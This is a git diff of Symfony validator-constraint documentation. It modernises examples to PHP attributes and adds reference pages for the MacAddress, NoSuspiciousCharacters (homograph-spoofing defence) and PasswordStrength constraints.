$metadata->addPropertyConstraint('cardNumber', new Assert\Luhn([ - 'message' => 'Please check your credit card number', - ])); + $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn( + message: 'Please check your credit card number', + )); } } @@ -104,10 +101,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _`Luhn algorithm`: https://en.wikipedia.org/wiki/Luhn_algorithm diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst new file mode 100644 index 00000000000..9a282ddf118 --- /dev/null +++ b/reference/constraints/MacAddress.rst @@ -0,0 +1,139 @@ +MacAddress +========== + +.. versionadded:: 7.1 + + The ``MacAddress`` constraint was introduced in Symfony 7.1. + +This constraint ensures that the given value is a valid `MAC address`_ (internally it +uses the ``FILTER_VALIDATE_MAC`` option of the :phpfunction:`filter_var` PHP +function). + +========== ===================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\MacAddress` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\MacAddressValidator` +========== ===================================================================== + +Basic Usage +----------- + +To use the MacAddress validator, apply it to a property on an object that +can contain a MAC address: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/Device.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class Device + { + #[Assert\MacAddress] + protected string $mac; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\Device: + properties: + mac: + - MacAddress: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\Device"> + <property name="max"> + <constraint name="MacAddress"/> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/Device.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class Device + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addPropertyConstraint('mac', new Assert\MacAddress()); + } + } + +.. include:: /reference/constraints/_empty-values-are-valid.rst.inc + +Options +------- + +.. include:: /reference/constraints/_groups-option.rst.inc + +``message`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This value is not a valid MAC address.`` + +This is the message that will be shown if the value is not a valid MAC address. + +You can use the following parameters in this message: + +=============== ============================================================== +Parameter Description +=============== ============================================================== +``{{ value }}`` The current (invalid) value +=============== ============================================================== + +.. include:: /reference/constraints/_normalizer-option.rst.inc + +.. include:: /reference/constraints/_payload-option.rst.inc + +.. _reference-constraint-mac-address-type: + +``type`` +~~~~~~~~ + +**type**: ``string`` **default**: ``all`` + +.. versionadded:: 7.1 + + The ``type`` option was introduced in Symfony 7.1. + +This option defines the kind of MAC addresses that are allowed. There are a lot +of different possible values based on your needs: + +================================ ========================================= +Parameter Allowed MAC addresses +================================ ========================================= +``all`` All +``all_no_broadcast`` All except broadcast +``broadcast`` Only broadcast +``local_all`` Only local +``local_multicast_no_broadcast`` Only local and multicast except broadcast +``local_multicast`` Only local and multicast +``local_no_broadcast`` Only local except broadcast +``local_unicast`` Only local and unicast +``multicast_all`` Only multicast +``multicast_no_broadcast`` Only multicast except broadcast +``unicast_all`` Only unicast +``universal_all`` Only universal +``universal_unicast`` Only universal and unicast +``universal_multicast`` Only universal and multicast +================================ ========================================= + +.. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst index 7468b4bfc4a..0d043ee8f6e 100644 --- a/reference/constraints/Negative.rst +++ b/reference/constraints/Negative.rst @@ -7,11 +7,8 @@ want to allow zero as value. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Negative` -Validator :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== Basic Usage @@ -22,7 +19,7 @@ The following constraint ensures that the ``withdraw`` of a bank account .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/TransferItem.php namespace App\Entity; @@ -31,10 +28,8 @@ The following constraint ensures that the ``withdraw`` of a bank account class TransferItem { - /** - * @Assert\Negative - */ - protected $withdraw; + #[Assert\Negative] + protected int $withdraw; } .. code-block:: yaml @@ -70,7 +65,9 @@ The following constraint ensures that the ``withdraw`` of a bank account class TransferItem { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('withdraw', new Assert\Negative()); } @@ -81,8 +78,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be negative.`` diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst index f010acda0b1..5f221950528 100644 --- a/reference/constraints/NegativeOrZero.rst +++ b/reference/constraints/NegativeOrZero.rst @@ -6,11 +6,8 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero` -Validator :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== Basic Usage @@ -21,7 +18,7 @@ is a negative number or equal to zero: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/TransferItem.php namespace App\Entity; @@ -30,10 +27,8 @@ is a negative number or equal to zero: class UnderGroundGarage { - /** - * @Assert\NegativeOrZero - */ - protected $level; + #[Assert\NegativeOrZero] + protected int $level; } .. code-block:: yaml @@ -69,7 +64,9 @@ is a negative number or equal to zero: class UnderGroundGarage { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('level', new Assert\NegativeOrZero()); } @@ -80,8 +77,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be either negative or zero.`` diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst new file mode 100644 index 00000000000..00e28cd6da1 --- /dev/null +++ b/reference/constraints/NoSuspiciousCharacters.rst @@ -0,0 +1,165 @@ +NoSuspiciousCharacters +====================== + +Validates that the given string does not contain characters used in spoofing +security attacks, such as invisible characters such as zero-width spaces or +characters that are visually similar. + +"symfony.com" and "ѕymfony.com" look similar, but their first letter is different +(in the second string, the "s" is actually a `cyrillic small letter dze`_). +This can make a user think they'll navigate to Symfony's website, whereas it +would be somewhere else. + +This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries +to identify something as something else to exploit the resulting confusion. +This is why it is recommended to check user-submitted, public-facing identifiers +for suspicious characters in order to prevent such attacks. + +Because Unicode contains such a large number of characters and incorporates the +varied writing systems of the world, incorrect usage can expose programs or +systems to possible security attacks. + +That's why this constraint ensures strings or :phpclass:`Stringable`s do not +include any suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`, +the intl extension must be enabled to use it. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharacters` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharactersValidator` +========== =================================================================== + +Basic Usage +----------- + +The following constraint will use different detection mechanisms to ensure that +the username is not spoofed: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class User + { + #[Assert\NoSuspiciousCharacters] + private string $username; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\User: + properties: + username: + - NoSuspiciousCharacters: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\User"> + <property name="username"> + <constraint name="NoSuspiciousCharacters"/> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class User + { + public static function loadValidatorMetadata(ClassMetadata $metadata) + { + $metadata->addPropertyConstraint('username', new Assert\NoSuspiciousCharacters()); + } + } + +.. include:: /reference/constraints/_empty-values-are-valid.rst.inc + +Options +------- + +``checks`` +~~~~~~~~~~ + +**type**: ``integer`` **default**: all + +This option is a bitmask of the checks you want to perform on the string: + +* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible + characters such as zero-width spaces, or character sequences that are likely + not to display, such as multiple occurrences of the same non-spacing mark. +* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher) + checks for numbers from different numbering systems. +* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher) + checks for combining characters hidden in their preceding one. + +You can also configure additional requirements using :ref:`locales <locales>` and +:ref:`restrictionLevel <restrictionlevel>`. + +``locales`` +~~~~~~~~~~~ + +**type**: ``array`` **default**: :ref:`framework.enabled_locales <reference-enabled-locales>` + +Restrict the string's characters to those normally used with the associated languages. + +For example, the character "π" would be considered suspicious if you restricted the +locale to "English", because the Greek script is not associated with it. + +Passing an empty array, or configuring :ref:`restrictionLevel <restrictionlevel>` to +``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE`` will disable this requirement. + +``restrictionLevel`` +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``integer`` **default**: ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` on ICU >= 58, otherwise ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` + +Configures the set of acceptable characters for the validated string through a +specified "level": + +* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's + characters to match :ref:`the configured locales <locales>`'. +* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string + to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_ + script, except Cyrillic, Greek, and Cherokee. +* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher) + also requires the string to be `covered`_ by any of the following sets of scripts: + + * Latin + Han + Bopomofo (or equivalently: Latn + Hanb) + * Latin + Han + Hiragana + Katakana (or equivalently: Latn + Jpan) + * Latin + Han + Hangul (or equivalently: Latn + Kore) + +* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the + string to be `single-script`_. +* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher) + also requires the string's characters to be in the ASCII range. + +You can accept all characters by setting this option to +``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE``. + +.. include:: /reference/constraints/_groups-option.rst.inc + +.. include:: /reference/constraints/_payload-option.rst.inc + +.. _`cyrillic small letter dze`: https://graphemica.com/%D1%95 +.. _`spoofing attack`: https://en.wikipedia.org/wiki/Spoofing_attack +.. _`single-script`: https://unicode.org/reports/tr39/#def-single-script +.. _`covered`: https://unicode.org/reports/tr39/#def-cover +.. _`Recommended`: https://www.unicode.org/reports/tr31/#Table_Recommended_Scripts +.. _`Limited Use`: https://www.unicode.org/reports/tr31/#Table_Limited_Use_Scripts diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst index f5711e001c3..388206e34bd 100644 --- a/reference/constraints/NotBlank.rst +++ b/reference/constraints/NotBlank.rst @@ -8,11 +8,6 @@ that a value is not equal to ``null``, see the ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `allowNull`_ - - `groups`_ - - `message`_ - - `normalizer`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NotBlank` Validator :class:`Symfony\\Component\\Validator\\Constraints\\NotBlankValidator` ========== =================================================================== @@ -25,7 +20,7 @@ class were not blank, you could do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -34,10 +29,8 @@ class were not blank, you could do the following: class Author { - /** - * @Assert\NotBlank - */ - protected $firstName; + #[Assert\NotBlank] + protected string $firstName; } .. code-block:: yaml @@ -73,7 +66,9 @@ class were not blank, you could do the following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotBlank()); } @@ -82,10 +77,10 @@ class were not blank, you could do the following: Options ------- -allowNull -~~~~~~~~~ +``allowNull`` +~~~~~~~~~~~~~ -**type**: ``bool`` **default**: ``false`` +**type**: ``boolean`` **default**: ``false`` If set to ``true``, ``null`` values are considered valid and won't trigger a constraint violation. @@ -108,10 +103,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_normalizer-option.rst.inc .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst index bcd1c61b560..6641f9d8cb2 100644 --- a/reference/constraints/NotCompromisedPassword.rst +++ b/reference/constraints/NotCompromisedPassword.rst @@ -6,11 +6,6 @@ not included in any of the public data breaches tracked by `haveibeenpwned.com`_ ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `skipOnError`_ - - `threshold`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPassword` Validator :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPasswordValidator` ========== =================================================================== @@ -23,7 +18,7 @@ The following constraint ensures that the ``rawPassword`` property of the .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -32,10 +27,8 @@ The following constraint ensures that the ``rawPassword`` property of the class User { - /** - * @Assert\NotCompromisedPassword - */ - protected $rawPassword; + #[Assert\NotCompromisedPassword] + protected string $rawPassword; } .. code-block:: yaml @@ -71,7 +64,9 @@ The following constraint ensures that the ``rawPassword`` property of the class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('rawPassword', new Assert\NotCompromisedPassword()); } @@ -102,8 +97,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This password has been leaked in a data breach, it must not be used. Please use another password.`` @@ -111,8 +106,8 @@ The default message supplied when the password has been compromised. .. include:: /reference/constraints/_payload-option.rst.inc -skipOnError -~~~~~~~~~~~ +``skipOnError`` +~~~~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``false`` @@ -120,8 +115,8 @@ When the HTTP request made to the ``haveibeenpwned.com`` API fails for any reason, an exception is thrown (no validation error is displayed). Set this option to ``true`` to not throw the exception and consider the password valid. -threshold -~~~~~~~~~ +``threshold`` +~~~~~~~~~~~~~ **type**: ``integer`` **default**: ``1`` diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst index e1436657ae8..dd3f633b4a1 100644 --- a/reference/constraints/NotEqualTo.rst +++ b/reference/constraints/NotEqualTo.rst @@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the options. To force that a value is equal, see :doc:`/reference/constraints/EqualTo`. -.. caution:: +.. warning:: This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with @@ -13,11 +13,6 @@ options. To force that a value is equal, see ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo` Validator :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator` ========== =================================================================== @@ -31,7 +26,7 @@ the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -40,17 +35,13 @@ the following: class Person { - /** - * @Assert\NotEqualTo("Mary") - */ - protected $firstName; - - /** - * @Assert\NotEqualTo( - * value = 15 - * ) - */ - protected $age; + #[Assert\NotEqualTo('Mary')] + protected string $firstName; + + #[Assert\NotEqualTo( + value: 15, + )] + protected int $age; } .. code-block:: yaml @@ -96,13 +87,15 @@ the following: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotEqualTo('Mary')); - $metadata->addPropertyConstraint('age', new Assert\NotEqualTo([ - 'value' => 15, - ])); + $metadata->addPropertyConstraint('age', new Assert\NotEqualTo( + value: 15, + )); } } diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst index 66ccb871670..b2c20027292 100644 --- a/reference/constraints/NotIdenticalTo.rst +++ b/reference/constraints/NotIdenticalTo.rst @@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in the options. To force that a value is identical, see :doc:`/reference/constraints/IdenticalTo`. -.. caution:: +.. warning:: This constraint compares using ``!==``, so ``3`` and ``"3"`` are considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to @@ -13,11 +13,6 @@ the options. To force that a value is identical, see ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo` Validator :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator` ========== =================================================================== @@ -32,7 +27,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -41,17 +36,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\NotIdenticalTo("Mary") - */ - protected $firstName; - - /** - * @Assert\NotIdenticalTo( - * value = 15 - * ) - */ - protected $age; + #[Assert\NotIdenticalTo('Mary')] + protected string $firstName; + + #[Assert\NotIdenticalTo( + value: 15, + )] + protected int $age; } .. code-block:: yaml @@ -97,13 +88,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo('Mary')); - $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo([ - 'value' => 15, - ])); + $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo( + value: 15, + )); } } diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst index 56d088c4cba..f1a27bd6560 100644 --- a/reference/constraints/NotNull.rst +++ b/reference/constraints/NotNull.rst @@ -7,9 +7,6 @@ constraint. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\NotNull` Validator :class:`Symfony\\Component\\Validator\\Constraints\\NotNullValidator` ========== =================================================================== @@ -22,7 +19,7 @@ class were not strictly equal to ``null``, you would: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -31,10 +28,8 @@ class were not strictly equal to ``null``, you would: class Author { - /** - * @Assert\NotNull - */ - protected $firstName; + #[Assert\NotNull] + protected string $firstName; } .. code-block:: yaml @@ -70,7 +65,9 @@ class were not strictly equal to ``null``, you would: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\NotNull()); } @@ -97,8 +94,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst new file mode 100644 index 00000000000..0b242cacf08 --- /dev/null +++ b/reference/constraints/PasswordStrength.rst @@ -0,0 +1,214 @@ +PasswordStrength +================ + +Validates that the given password has reached the minimum strength required by +the constraint. The strength of the password is not evaluated with a set of +predefined rules (include a number, use lowercase and uppercase characters, +etc.) but by measuring the entropy of the password based on its length and the +number of unique characters used. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrength` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` +========== =================================================================== + +Basic Usage +----------- + +The following constraint ensures that the ``rawPassword`` property of the +``User`` class reaches the minimum strength required by the constraint. +By default, the minimum required score is ``2``. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class User + { + #[Assert\PasswordStrength] + protected $rawPassword; + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\User: + properties: + rawPassword: + - PasswordStrength + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\User"> + <property name="rawPassword"> + <constraint name="PasswordStrength"></constraint> + </property> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class User + { + public static function loadValidatorMetadata(ClassMetadata $metadata) + { + $metadata->addPropertyConstraint('rawPassword', new Assert\PasswordStrength()); + } + } + +Available Options +----------------- + +``minScore`` +~~~~~~~~~~~~ + +**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_MEDIUM`` (``2``) + +The minimum required strength of the password. Available constants are: + +* ``PasswordStrength::STRENGTH_WEAK`` = ``1`` +* ``PasswordStrength::STRENGTH_MEDIUM`` = ``2`` +* ``PasswordStrength::STRENGTH_STRONG`` = ``3`` +* ``PasswordStrength::STRENGTH_VERY_STRONG`` = ``4`` + +``PasswordStrength::STRENGTH_VERY_WEAK`` is available but only used internally +or by a custom password strength estimator. + +.. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class User + { + #[Assert\PasswordStrength( + minScore: PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required + )] + protected $rawPassword; + } + +``message`` +~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The password strength is too low. Please use a stronger password.`` + +The default message supplied when the password does not reach the minimum required score. + +.. code-block:: php-attributes + + // src/Entity/User.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + + class User + { + #[Assert\PasswordStrength( + message: 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.' + )] + protected $rawPassword; + } + +Customizing the Password Strength Estimation +-------------------------------------------- + +.. versionadded:: 7.2 + + The feature to customize the password strength estimation was introduced in Symfony 7.2. + +By default, this constraint calculates the strength of a password based on its +length and the number of unique characters used. You can get the calculated +password strength (e.g. to display it in the user interface) using the following +static function:: + + use Symfony\Component\Validator\Constraints\PasswordStrengthValidator; + + $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password); + +If you need to override the default password strength estimation algorithm, you +can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` +constructor (e.g. using the :doc:`service closures </service_container/service_closures>`). + +First, create a custom password strength estimation algorithm within a dedicated +callable class:: + + namespace App\Validator; + + class CustomPasswordStrengthEstimator + { + /** + * @return PasswordStrength::STRENGTH_* + */ + public function __invoke(string $password): int + { + // Your custom password strength estimation algorithm + } + } + +Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` +service to use your own estimator: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + custom_password_strength_estimator: + class: App\Validator\CustomPasswordStrengthEstimator + + Symfony\Component\Validator\Constraints\PasswordStrengthValidator: + arguments: [!closure '@custom_password_strength_estimator'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/> + + <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator"> + <argument type="closure" id="custom_password_strength_estimator"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\Validator\Constraints\PasswordStrengthValidator; + + return function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class); + + $services->set(PasswordStrengthValidator::class) + ->args([closure('custom_password_strength_estimator')]); + }; diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst index af76f205e53..b43fdde67d8 100644 --- a/reference/constraints/Positive.rst +++ b/reference/constraints/Positive.rst @@ -7,9 +7,6 @@ want to allow zero as value. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Positive` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== @@ -22,7 +19,7 @@ positive number (greater than zero): .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Employee.php namespace App\Entity; @@ -31,10 +28,8 @@ positive number (greater than zero): class Employee { - /** - * @Assert\Positive - */ - protected $income; + #[Assert\Positive] + protected int $income; } .. code-block:: yaml @@ -68,10 +63,11 @@ positive number (greater than zero): use Symfony\Component\Validator\Constraints as Assert; use Symfony\Component\Validator\Mapping\ClassMetadata; - class Employee { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('income', new Assert\Positive()); } @@ -82,8 +78,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be positive.`` diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst index ea762e78f90..4aa8420993c 100644 --- a/reference/constraints/PositiveOrZero.rst +++ b/reference/constraints/PositiveOrZero.rst @@ -6,9 +6,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Positive` instead. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator` ========== =================================================================== @@ -21,7 +18,7 @@ is positive or zero: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -30,10 +27,8 @@ is positive or zero: class Person { - /** - * @Assert\PositiveOrZero - */ - protected $siblings; + #[Assert\PositiveOrZero] + protected int $siblings; } .. code-block:: yaml @@ -69,7 +64,9 @@ is positive or zero: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('siblings', new Assert\PositiveOrZero()); } @@ -80,8 +77,8 @@ Available Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be either positive or zero.`` diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst index d5b473362dd..46a9e3799b3 100644 --- a/reference/constraints/Range.rst +++ b/reference/constraints/Range.rst @@ -5,17 +5,6 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `invalidDateTimeMessage`_ - - `invalidMessage`_ - - `max`_ - - `maxMessage`_ - - `maxPropertyPath`_ - - `min`_ - - `minMessage`_ - - `minPropertyPath`_ - - `notInRangeMessage`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Range` Validator 